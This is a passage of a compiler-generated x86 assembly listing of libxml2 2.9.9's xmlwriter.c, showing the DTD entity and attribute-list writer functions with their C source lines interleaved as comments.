; 3941 : if (((pubid == NULL) && (sysid == NULL)))
test edi, edi
je SHORT $LN8@xmlTextWri
$LN2@xmlTextWri:
; 3942 : return -1;
; 3943 : if ((pe != 0) && (ndataid != NULL))
mov eax, DWORD PTR _pe$[ebp]
test eax, eax
je SHORT $LN3@xmlTextWri
cmp DWORD PTR _ndataid$[ebp], 0
jne SHORT $LN8@xmlTextWri
$LN3@xmlTextWri:
; 3944 : return -1;
; 3945 :
; 3946 : sum = 0;
; 3947 : count = xmlTextWriterStartDTDEntity(writer, pe, name);
push DWORD PTR _name$[ebp]
push eax
push DWORD PTR _writer$[ebp]
call _xmlTextWriterStartDTDEntity
mov esi, eax
add esp, 12 ; 0000000cH
; 3948 : if (count == -1)
cmp esi, -1
je SHORT $LN8@xmlTextWri
; 3949 : return -1;
; 3950 : sum += count;
; 3951 :
; 3952 : count =
push DWORD PTR _ndataid$[ebp]
push edi
push DWORD PTR _pubid$[ebp]
mov edi, DWORD PTR _writer$[ebp]
push edi
call _xmlTextWriterWriteDTDExternalEntityContents
add esp, 16 ; 00000010H
; 3953 : xmlTextWriterWriteDTDExternalEntityContents(writer, pubid, sysid,
; 3954 : ndataid);
; 3955 : if (count < 0)
test eax, eax
js SHORT $LN8@xmlTextWri
; 3956 : return -1;
; 3957 : sum += count;
; 3958 :
; 3959 : count = xmlTextWriterEndDTDEntity(writer);
push edi
add esi, eax
call _xmlTextWriterEndDTDEntity
add esp, 4
; 3960 : if (count == -1)
cmp eax, -1
je SHORT $LN8@xmlTextWri
; 3962 : sum += count;
pop edi
add eax, esi
; 3963 :
; 3964 : return sum;
; 3965 : }
pop esi
pop ebp
ret 0
$LN8@xmlTextWri:
pop edi
; 3961 : return -1;
or eax, -1
; 3963 :
; 3964 : return sum;
; 3965 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteDTDExternalEntity ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteDTDInternalEntity
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_pe$ = 12 ; size = 4
_name$ = 16 ; size = 4
_content$ = 20 ; size = 4
_xmlTextWriterWriteDTDInternalEntity PROC ; COMDAT
; 3891 : {
push ebp
mov ebp, esp
push ebx
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _name$[ebp]
test eax, eax
je SHORT $LN3@xmlTextWri
; 3892 : int count;
; 3893 : int sum;
; 3894 :
; 3895 : if ((name == NULL) || (*name == '\0') || (content == NULL))
cmp BYTE PTR [eax], 0
je SHORT $LN3@xmlTextWri
cmp DWORD PTR _content$[ebp], 0
je SHORT $LN3@xmlTextWri
; 3897 :
; 3898 : sum = 0;
; 3899 : count = xmlTextWriterStartDTDEntity(writer, pe, name);
mov ebx, DWORD PTR _writer$[ebp]
push eax
push DWORD PTR _pe$[ebp]
push ebx
call _xmlTextWriterStartDTDEntity
mov esi, eax
add esp, 12 ; 0000000cH
; 3900 : if (count == -1)
cmp esi, -1
je SHORT $LN3@xmlTextWri
; 3901 : return -1;
; 3902 : sum += count;
; 3903 :
; 3904 : count = xmlTextWriterWriteString(writer, content);
push DWORD PTR _content$[ebp]
push ebx
call _xmlTextWriterWriteString
add esp, 8
; 3905 : if (count == -1)
cmp eax, -1
je SHORT $LN3@xmlTextWri
; 3906 : return -1;
; 3907 : sum += count;
; 3908 :
; 3909 : count = xmlTextWriterEndDTDEntity(writer);
push ebx
add esi, eax
call _xmlTextWriterEndDTDEntity
add esp, 4
; 3910 : if (count == -1)
cmp eax, -1
je SHORT $LN3@xmlTextWri
; 3911 : return -1;
; 3912 : sum += count;
add eax, esi
pop esi
; 3913 :
; 3914 : return sum;
; 3915 : }
pop ebx
pop ebp
ret 0
$LN3@xmlTextWri:
pop esi
; 3896 : return -1;
or eax, -1
; 3913 :
; 3914 : return sum;
; 3915 : }
pop ebx
pop ebp
ret 0
_xmlTextWriterWriteDTDInternalEntity ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteVFormatDTDInternalEntity
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_pe$ = 12 ; size = 4
_name$ = 16 ; size = 4
_format$ = 20 ; size = 4
_argptr$ = 24 ; size = 4
_xmlTextWriterWriteVFormatDTDInternalEntity PROC ; COMDAT
; 3822 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN5@xmlTextWri
; 3823 : int rc;
; 3824 : xmlChar *buf;
; 3825 :
; 3826 : if (writer == NULL)
; 3827 : return -1;
; 3828 :
; 3829 : buf = xmlTextWriterVSprintf(format, argptr);
push DWORD PTR _argptr$[ebp]
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 3830 : if (buf == NULL)
test edi, edi
je SHORT $LN5@xmlTextWri
; 3832 :
; 3833 : rc = xmlTextWriterWriteDTDInternalEntity(writer, pe, name, buf);
push edi
push DWORD PTR _name$[ebp]
push DWORD PTR _pe$[ebp]
push esi
call _xmlTextWriterWriteDTDInternalEntity
; 3834 :
; 3835 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 20 ; 00000014H
; 3836 : return rc;
mov eax, esi
pop edi
; 3837 : }
pop esi
pop ebp
ret 0
$LN5@xmlTextWri:
pop edi
; 3831 : return -1;
or eax, -1
; 3837 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteVFormatDTDInternalEntity ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteFormatDTDInternalEntity
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_pe$ = 12 ; size = 4
_name$ = 16 ; size = 4
_format$ = 20 ; size = 4
_xmlTextWriterWriteFormatDTDInternalEntity PROC ; COMDAT
; 3791 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
; 3826 : if (writer == NULL)
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
jne SHORT $LN4@xmlTextWri
; 3792 : int rc;
; 3793 : va_list ap;
; 3794 :
; 3795 : va_start(ap, format);
; 3796 :
; 3797 : rc = xmlTextWriterWriteVFormatDTDInternalEntity(writer, pe, name,
; 3798 : format, ap);
; 3799 :
; 3800 : va_end(ap);
; 3801 : return rc;
or eax, -1
pop esi
; 3802 : }
pop ebp
ret 0
$LN4@xmlTextWri:
push edi
; 3829 : buf = xmlTextWriterVSprintf(format, argptr);
lea eax, DWORD PTR _format$[ebp+4]
push eax
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 3830 : if (buf == NULL)
test edi, edi
jne SHORT $LN5@xmlTextWri
; 3792 : int rc;
; 3793 : va_list ap;
; 3794 :
; 3795 : va_start(ap, format);
; 3796 :
; 3797 : rc = xmlTextWriterWriteVFormatDTDInternalEntity(writer, pe, name,
; 3798 : format, ap);
; 3799 :
; 3800 : va_end(ap);
; 3801 : return rc;
pop edi
or eax, -1
pop esi
; 3802 : }
pop ebp
ret 0
$LN5@xmlTextWri:
; 3833 : rc = xmlTextWriterWriteDTDInternalEntity(writer, pe, name, buf);
push edi
push DWORD PTR _name$[ebp]
push DWORD PTR _pe$[ebp]
push esi
call _xmlTextWriterWriteDTDInternalEntity
; 3834 :
; 3835 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 20 ; 00000014H
; 3792 : int rc;
; 3793 : va_list ap;
; 3794 :
; 3795 : va_start(ap, format);
; 3796 :
; 3797 : rc = xmlTextWriterWriteVFormatDTDInternalEntity(writer, pe, name,
; 3798 : format, ap);
; 3799 :
; 3800 : va_end(ap);
; 3801 : return rc;
mov eax, esi
pop edi
pop esi
; 3802 : }
pop ebp
ret 0
_xmlTextWriterWriteFormatDTDInternalEntity ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterEndDTDEntity
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_xmlTextWriterEndDTDEntity PROC ; COMDAT
; 3727 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN15@xmlTextWri
; 3728 : int count;
; 3729 : int sum;
; 3730 : xmlLinkPtr lk;
; 3731 : xmlTextWriterStackEntry *p;
; 3732 :
; 3733 : if (writer == NULL)
; 3734 : return -1;
; 3735 :
; 3736 : sum = 0;
push DWORD PTR [esi+4]
xor edi, edi
; 3737 : lk = xmlListFront(writer->nodes);
call _xmlListFront
add esp, 4
; 3738 : if (lk == 0)
test eax, eax
je SHORT $LN15@xmlTextWri
; 3739 : return -1;
; 3740 :
; 3741 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
add esp, 4
; 3742 : if (p == 0)
test eax, eax
je SHORT $LN15@xmlTextWri
; 3743 : return -1;
; 3744 :
; 3745 : switch (p->state) {
mov eax, DWORD PTR [eax+4]
sub eax, 13 ; 0000000dH
je SHORT $LN9@xmlTextWri
sub eax, 1
je SHORT $LN7@xmlTextWri
sub eax, 1
je SHORT $LN9@xmlTextWri
$LN15@xmlTextWri:
pop edi
; 3766 : return -1;
or eax, -1
; 3772 : }
pop esi
pop ebp
ret 0
$LN7@xmlTextWri:
; 3746 : case XML_TEXTWRITER_DTD_ENTY_TEXT:
; 3747 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
lea eax, DWORD PTR [esi+28]
push eax
push 1
push DWORD PTR [esi]
call _xmlOutputBufferWrite
mov edi, eax
add esp, 12 ; 0000000cH
; 3748 : if (count < 0)
test edi, edi
js SHORT $LN15@xmlTextWri
$LN9@xmlTextWri:
; 3749 : return -1;
; 3750 : sum += count;
; 3751 : /* Falls through. */
; 3752 : case XML_TEXTWRITER_DTD_ENTY:
; 3753 : case XML_TEXTWRITER_DTD_PENT:
; 3754 : count = xmlOutputBufferWriteString(writer->out, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 3755 : if (count < 0)
test eax, eax
js SHORT $LN15@xmlTextWri
; 3756 : return -1;
; 3757 : sum += count;
add edi, eax
; 3758 : break;
; 3759 : default:
; 3760 : return -1;
; 3761 : }
; 3762 :
; 3763 : if (writer->indent) {
cmp DWORD PTR [esi+16], 0
je SHORT $LN12@xmlTextWri
; 3764 : count = xmlOutputBufferWriteString(writer->out, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 3765 : if (count < 0)
test eax, eax
js SHORT $LN15@xmlTextWri
; 3767 : sum += count;
add edi, eax
$LN12@xmlTextWri:
; 3768 : }
; 3769 :
; 3770 : xmlListPopFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListPopFront
add esp, 4
; 3771 : return sum;
mov eax, edi
pop edi
; 3772 : }
pop esi
pop ebp
ret 0
_xmlTextWriterEndDTDEntity ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterStartDTDEntity
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_pe$ = 12 ; size = 4
_name$ = 16 ; size = 4
_xmlTextWriterStartDTDEntity PROC ; COMDAT
; 3628 : {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN5@xmlTextWri
; 3629 : int count;
; 3630 : int sum;
; 3631 : xmlLinkPtr lk;
; 3632 : xmlTextWriterStackEntry *p;
; 3633 :
; 3634 : if (writer == NULL || name == NULL || *name == '\0')
mov eax, DWORD PTR _name$[ebp]
test eax, eax
je SHORT $LN5@xmlTextWri
cmp BYTE PTR [eax], 0
je SHORT $LN5@xmlTextWri
; 3635 : return -1;
; 3636 :
; 3637 : sum = 0;
; 3638 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
xor edi, edi
call _xmlListFront
add esp, 4
; 3639 : if (lk != 0) {
test eax, eax
je SHORT $LN12@xmlTextWri
; 3640 :
; 3641 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
mov ebx, eax
add esp, 4
; 3642 : if (p != 0) {
test ebx, ebx
je SHORT $LN12@xmlTextWri
; 3643 : switch (p->state) {
mov eax, DWORD PTR [ebx+4]
sub eax, edi
je SHORT $LN12@xmlTextWri
sub eax, 7
je SHORT $LN8@xmlTextWri
sub eax, 1
je SHORT $LN12@xmlTextWri
$LN5@xmlTextWri:
pop edi
; 3713 :
; 3714 : return sum;
; 3715 : }
pop esi
or eax, -1
pop ebx
pop ebp
ret 0
$LN8@xmlTextWri:
; 3644 : case XML_TEXTWRITER_DTD:
; 3645 : count = xmlOutputBufferWriteString(writer->out, " [");
push OFFSET ??_C@_02GBLMOEJC@?5?$FL@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
mov edi, eax
add esp, 8
; 3646 : if (count < 0)
test edi, edi
js SHORT $LN5@xmlTextWri
; 3647 : return -1;
; 3648 : sum += count;
; 3649 : if (writer->indent) {
cmp DWORD PTR [esi+16], 0
je SHORT $LN10@xmlTextWri
; 3650 : count =
push OFFSET ??_C@_01EEMJAFIK@?6@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 3651 : xmlOutputBufferWriteString(writer->out, "\n");
; 3652 : if (count < 0)
test eax, eax
js SHORT $LN5@xmlTextWri
; 3653 : return -1;
; 3654 : sum += count;
add edi, eax
$LN10@xmlTextWri:
; 3655 : }
; 3656 : p->state = XML_TEXTWRITER_DTD_TEXT;
mov DWORD PTR [ebx+4], 8
$LN12@xmlTextWri:
; 3657 : /* fallthrough */
; 3658 : case XML_TEXTWRITER_DTD_TEXT:
; 3659 : case XML_TEXTWRITER_NONE:
; 3660 : break;
; 3661 : default:
; 3662 : return -1;
; 3663 : }
; 3664 : }
; 3665 : }
; 3666 :
; 3667 : p = (xmlTextWriterStackEntry *)
push 8
call DWORD PTR _xmlMalloc
mov ebx, eax
add esp, 4
; 3668 : xmlMalloc(sizeof(xmlTextWriterStackEntry));
; 3669 : if (p == 0) {
test ebx, ebx
jne SHORT $LN14@xmlTextWri
; 3670 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY,
push OFFSET ??_C@_0CP@HLOPJJJB@xmlTextWriterStartDTDElement?5?3?5@
push 2
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
; 3713 :
; 3714 : return sum;
; 3715 : }
or eax, -1
pop edi
pop esi
pop ebx
pop ebp
ret 0
$LN14@xmlTextWri:
; 3671 : "xmlTextWriterStartDTDElement : out of memory!\n");
; 3672 : return -1;
; 3673 : }
; 3674 :
; 3675 : p->name = xmlStrdup(name);
push DWORD PTR _name$[ebp]
call _xmlStrdup
add esp, 4
mov DWORD PTR [ebx], eax
; 3676 : if (p->name == 0) {
test eax, eax
jne SHORT $LN15@xmlTextWri
; 3677 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY,
push OFFSET ??_C@_0CP@HLOPJJJB@xmlTextWriterStartDTDElement?5?3?5@
push 2
push esi
call _xmlWriterErrMsg
; 3678 : "xmlTextWriterStartDTDElement : out of memory!\n");
; 3679 : xmlFree(p);
push ebx
call DWORD PTR _xmlFree
add esp, 16 ; 00000010H
; 3713 :
; 3714 : return sum;
; 3715 : }
or eax, -1
pop edi
pop esi
pop ebx
pop ebp
ret 0
$LN15@xmlTextWri:
; 3680 : return -1;
; 3681 : }
; 3682 :
; 3683 : if (pe != 0)
; 3684 : p->state = XML_TEXTWRITER_DTD_PENT;
; 3685 : else
; 3686 : p->state = XML_TEXTWRITER_DTD_ENTY;
; 3687 :
; 3688 : xmlListPushFront(writer->nodes, p);
xor eax, eax
cmp DWORD PTR _pe$[ebp], eax
push ebx
setne al
lea eax, DWORD PTR [eax*2+13]
mov DWORD PTR [ebx+4], eax
push DWORD PTR [esi+4]
call _xmlListPushFront
add esp, 8
; 3689 :
; 3690 : if (writer->indent) {
cmp DWORD PTR [esi+16], 0
je SHORT $LN18@xmlTextWri
; 3691 : count = xmlTextWriterWriteIndent(writer);
push esi
call _xmlTextWriterWriteIndent
add esp, 4
; 3692 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 3693 : return -1;
; 3694 : sum += count;
add edi, eax
$LN18@xmlTextWri:
; 3695 : }
; 3696 :
; 3697 : count = xmlOutputBufferWriteString(writer->out, "<!ENTITY ");
push OFFSET ??_C@_09POADHIMD@?$DM?$CBENTITY?5@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 3698 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 3699 : return -1;
; 3700 : sum += count;
add edi, eax
; 3701 :
; 3702 : if (pe != 0) {
cmp DWORD PTR _pe$[ebp], 0
je SHORT $LN21@xmlTextWri
; 3703 : count = xmlOutputBufferWriteString(writer->out, "% ");
push OFFSET ??_C@_02KLLMIGEE@?$CF?5@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 3704 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 3705 : return -1;
; 3706 : sum += count;
add edi, eax
$LN21@xmlTextWri:
; 3707 : }
; 3708 :
; 3709 : count = xmlOutputBufferWriteString(writer->out, (const char *) name);
push DWORD PTR _name$[ebp]
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 3710 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 3711 : return -1;
; 3712 : sum += count;
add eax, edi
pop edi
; 3713 :
; 3714 : return sum;
; 3715 : }
pop esi
pop ebx
pop ebp
ret 0
_xmlTextWriterStartDTDEntity ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteDTDAttlist
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_content$ = 16 ; size = 4
_xmlTextWriterWriteDTDAttlist PROC ; COMDAT
; 3589 : {
push ebp
mov ebp, esp
push ebx
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
cmp DWORD PTR _content$[ebp], 0
je SHORT $LN7@xmlTextWri
; 3590 : int count;
; 3591 : int sum;
; 3592 :
; 3593 : if (content == NULL)
; 3594 : return -1;
; 3595 :
; 3596 : sum = 0;
; 3597 : count = xmlTextWriterStartDTDAttlist(writer, name);
push DWORD PTR _name$[ebp]
mov ebx, DWORD PTR _writer$[ebp]
push ebx
call _xmlTextWriterStartDTDAttlist
mov esi, eax
add esp, 8
; 3598 : if (count == -1)
cmp esi, -1
je SHORT $LN7@xmlTextWri
; 3599 : return -1;
; 3600 : sum += count;
; 3601 :
; 3602 : count = xmlTextWriterWriteString(writer, content);
push DWORD PTR _content$[ebp]
push ebx
call _xmlTextWriterWriteString
add esp, 8
; 3603 : if (count == -1)
cmp eax, -1
je SHORT $LN7@xmlTextWri
; 3604 : return -1;
; 3605 : sum += count;
; 3606 :
; 3607 : count = xmlTextWriterEndDTDAttlist(writer);
push ebx
add esi, eax
call _xmlTextWriterEndDTDAttlist
add esp, 4
; 3608 : if (count == -1)
cmp eax, -1
je SHORT $LN7@xmlTextWri
; 3610 : sum += count;
add eax, esi
pop esi
; 3611 :
; 3612 : return sum;
; 3613 : }
pop ebx
pop ebp
ret 0
$LN7@xmlTextWri:
pop esi
; 3609 : return -1;
or eax, -1
; 3611 :
; 3612 : return sum;
; 3613 : }
pop ebx
pop ebp
ret 0
_xmlTextWriterWriteDTDAttlist ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteVFormatDTDAttlist
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_format$ = 16 ; size = 4
_argptr$ = 20 ; size = 4
_xmlTextWriterWriteVFormatDTDAttlist PROC ; COMDAT
; 3559 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN5@xmlTextWri
; 3560 : int rc;
; 3561 : xmlChar *buf;
; 3562 :
; 3563 : if (writer == NULL)
; 3564 : return -1;
; 3565 :
; 3566 : buf = xmlTextWriterVSprintf(format, argptr);
push DWORD PTR _argptr$[ebp]
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 3567 : if (buf == NULL)
test edi, edi
je SHORT $LN5@xmlTextWri
; 3569 :
; 3570 : rc = xmlTextWriterWriteDTDAttlist(writer, name, buf);
push edi
push DWORD PTR _name$[ebp]
push esi
call _xmlTextWriterWriteDTDAttlist
; 3571 :
; 3572 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 16 ; 00000010H
; 3573 : return rc;
mov eax, esi
pop edi
; 3574 : }
pop esi
pop ebp
ret 0
$LN5@xmlTextWri:
pop edi
; 3568 : return -1;
or eax, -1
; 3574 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteVFormatDTDAttlist ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteFormatDTDAttlist
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_format$ = 16 ; size = 4
_xmlTextWriterWriteFormatDTDAttlist PROC ; COMDAT
; 3532 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
; 3563 : if (writer == NULL)
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
jne SHORT $LN4@xmlTextWri
; 3533 : int rc;
; 3534 : va_list ap;
; 3535 :
; 3536 : va_start(ap, format);
; 3537 :
; 3538 : rc = xmlTextWriterWriteVFormatDTDAttlist(writer, name, format, ap);
; 3539 :
; 3540 : va_end(ap);
; 3541 : return rc;
or eax, -1
pop esi
; 3542 : }
pop ebp
ret 0
$LN4@xmlTextWri:
push edi
; 3566 : buf = xmlTextWriterVSprintf(format, argptr);
lea eax, DWORD PTR _format$[ebp+4]
push eax
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 3567 : if (buf == NULL)
test edi, edi
jne SHORT $LN5@xmlTextWri
; 3533 : int rc;
; 3534 : va_list ap;
; 3535 :
; 3536 : va_start(ap, format);
; 3537 :
; 3538 : rc = xmlTextWriterWriteVFormatDTDAttlist(writer, name, format, ap);
; 3539 :
; 3540 : va_end(ap);
; 3541 : return rc;
pop edi
or eax, -1
pop esi
; 3542 : }
pop ebp
ret 0
$LN5@xmlTextWri:
; 3570 : rc = xmlTextWriterWriteDTDAttlist(writer, name, buf);
push edi
push DWORD PTR _name$[ebp]
push esi
call _xmlTextWriterWriteDTDAttlist
; 3571 :
; 3572 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 16 ; 00000010H
; 3533 : int rc;
; 3534 : va_list ap;
; 3535 :
; 3536 : va_start(ap, format);
; 3537 :
; 3538 : rc = xmlTextWriterWriteVFormatDTDAttlist(writer, name, format, ap);
; 3539 :
; 3540 : va_end(ap);
; 3541 : return rc;
mov eax, esi
pop edi
pop esi
; 3542 : }
pop ebp
ret 0
_xmlTextWriterWriteFormatDTDAttlist ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterEndDTDAttlist
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_xmlTextWriterEndDTDAttlist PROC ; COMDAT
; 3476 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN9@xmlTextWri
; 3477 : int count;
; 3478 : int sum;
; 3479 : xmlLinkPtr lk;
; 3480 : xmlTextWriterStackEntry *p;
; 3481 :
; 3482 : if (writer == NULL)
; 3483 : return -1;
; 3484 :
; 3485 : sum = 0;
; 3486 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListFront
add esp, 4
; 3487 : if (lk == 0)
test eax, eax
je SHORT $LN9@xmlTextWri
; 3488 : return -1;
; 3489 :
; 3490 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
add esp, 4
; 3491 : if (p == 0)
test eax, eax
je SHORT $LN9@xmlTextWri
; 3492 : return -1;
; 3493 :
; 3494 : switch (p->state) {
mov eax, DWORD PTR [eax+4]
add eax, -11 ; fffffff5H
cmp eax, 1
ja SHORT $LN9@xmlTextWri
; 3495 : case XML_TEXTWRITER_DTD_ATTL:
; 3496 : case XML_TEXTWRITER_DTD_ATTL_TEXT:
; 3497 : count = xmlOutputBufferWriteString(writer->out, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
mov edi, eax
add esp, 8
; 3498 : if (count < 0)
test edi, edi
js SHORT $LN9@xmlTextWri
; 3504 : }
; 3505 :
; 3506 : if (writer->indent) {
cmp DWORD PTR [esi+16], 0
je SHORT $LN10@xmlTextWri
; 3507 : count = xmlOutputBufferWriteString(writer->out, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 3508 : if (count < 0)
test eax, eax
js SHORT $LN9@xmlTextWri
; 3509 : return -1;
; 3510 : sum += count;
add edi, eax
$LN10@xmlTextWri:
; 3511 : }
; 3512 :
; 3513 : xmlListPopFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListPopFront
add esp, 4
; 3514 : return sum;
mov eax, edi
pop edi
; 3515 : }
pop esi
pop ebp
ret 0
$LN9@xmlTextWri:
pop edi
; 3499 : return -1;
; 3500 : sum += count;
; 3501 : break;
; 3502 : default:
; 3503 : return -1;
or eax, -1
; 3515 : }
pop esi
pop ebp
ret 0
_xmlTextWriterEndDTDAttlist ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterStartDTDAttlist
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_xmlTextWriterStartDTDAttlist PROC ; COMDAT
; 3389 : {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN5@xmlTextWri
; 3390 : int count;
; 3391 : int sum;
; 3392 : xmlLinkPtr lk;
; 3393 : xmlTextWriterStackEntry *p;
; 3394 :
; 3395 : if (writer == NULL || name == NULL || *name == '\0')
mov eax, DWORD PTR _name$[ebp]
test eax, eax
je SHORT $LN5@xmlTextWri
cmp BYTE PTR [eax], 0
je SHORT $LN5@xmlTextWri
; 3396 : return -1;
; 3397 :
; 3398 : sum = 0;
; 3399 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
xor edi, edi
call _xmlListFront
add esp, 4
; 3400 : if (lk == 0) {
test eax, eax
je SHORT $LN5@xmlTextWri
; 3401 : return -1;
; 3402 : }
; 3403 :
; 3404 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
mov ebx, eax
add esp, 4
; 3405 : if (p != 0) {
test ebx, ebx
je SHORT $LN12@xmlTextWri
; 3406 : switch (p->state) {
mov eax, DWORD PTR [ebx+4]
sub eax, edi
je SHORT $LN12@xmlTextWri
sub eax, 7
je SHORT $LN8@xmlTextWri
sub eax, 1
je SHORT $LN12@xmlTextWri
$LN5@xmlTextWri:
pop edi
; 3462 :
; 3463 : return sum;
; 3464 : }
pop esi
or eax, -1
pop ebx
pop ebp
ret 0
$LN8@xmlTextWri:
; 3407 : case XML_TEXTWRITER_DTD:
; 3408 : count = xmlOutputBufferWriteString(writer->out, " [");
push OFFSET ??_C@_02GBLMOEJC@?5?$FL@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
mov edi, eax
add esp, 8
; 3409 : if (count < 0)
test edi, edi
js SHORT $LN5@xmlTextWri
; 3410 : return -1;
; 3411 : sum += count;
